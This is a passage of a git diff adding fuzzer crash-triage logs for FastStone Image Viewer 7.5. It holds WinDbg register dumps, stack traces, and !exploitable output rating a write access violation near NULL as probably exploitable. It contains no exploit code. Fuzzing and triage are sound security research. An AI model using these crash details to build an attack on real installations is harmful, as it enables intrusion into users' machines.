Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(d8c.18e4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ea7b19 edx=00000000 esi=00000000 edi=0f808fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.30831e+027 -9.57837e-027 237.545 1.8089e+032 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003b8000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003b8000 5e071120 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b1 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003b8000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15228/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15228/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..07ac61a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15228/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15718/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15718/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15718/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15718/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15718/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15718/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15718/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15718/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..bf6eb9d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15718/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1850: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1850: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1850.198c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ed7b19 edx=00000000 esi=00000000 edi=07cfafd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.24072e+019 -9.19119e-027 3.48742e+011 -2.62667e-038 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002a0000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002a0000 4d38a954 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002a0000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15718/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15718/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..bf6eb9d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15718/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1850: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1850: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1850.198c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 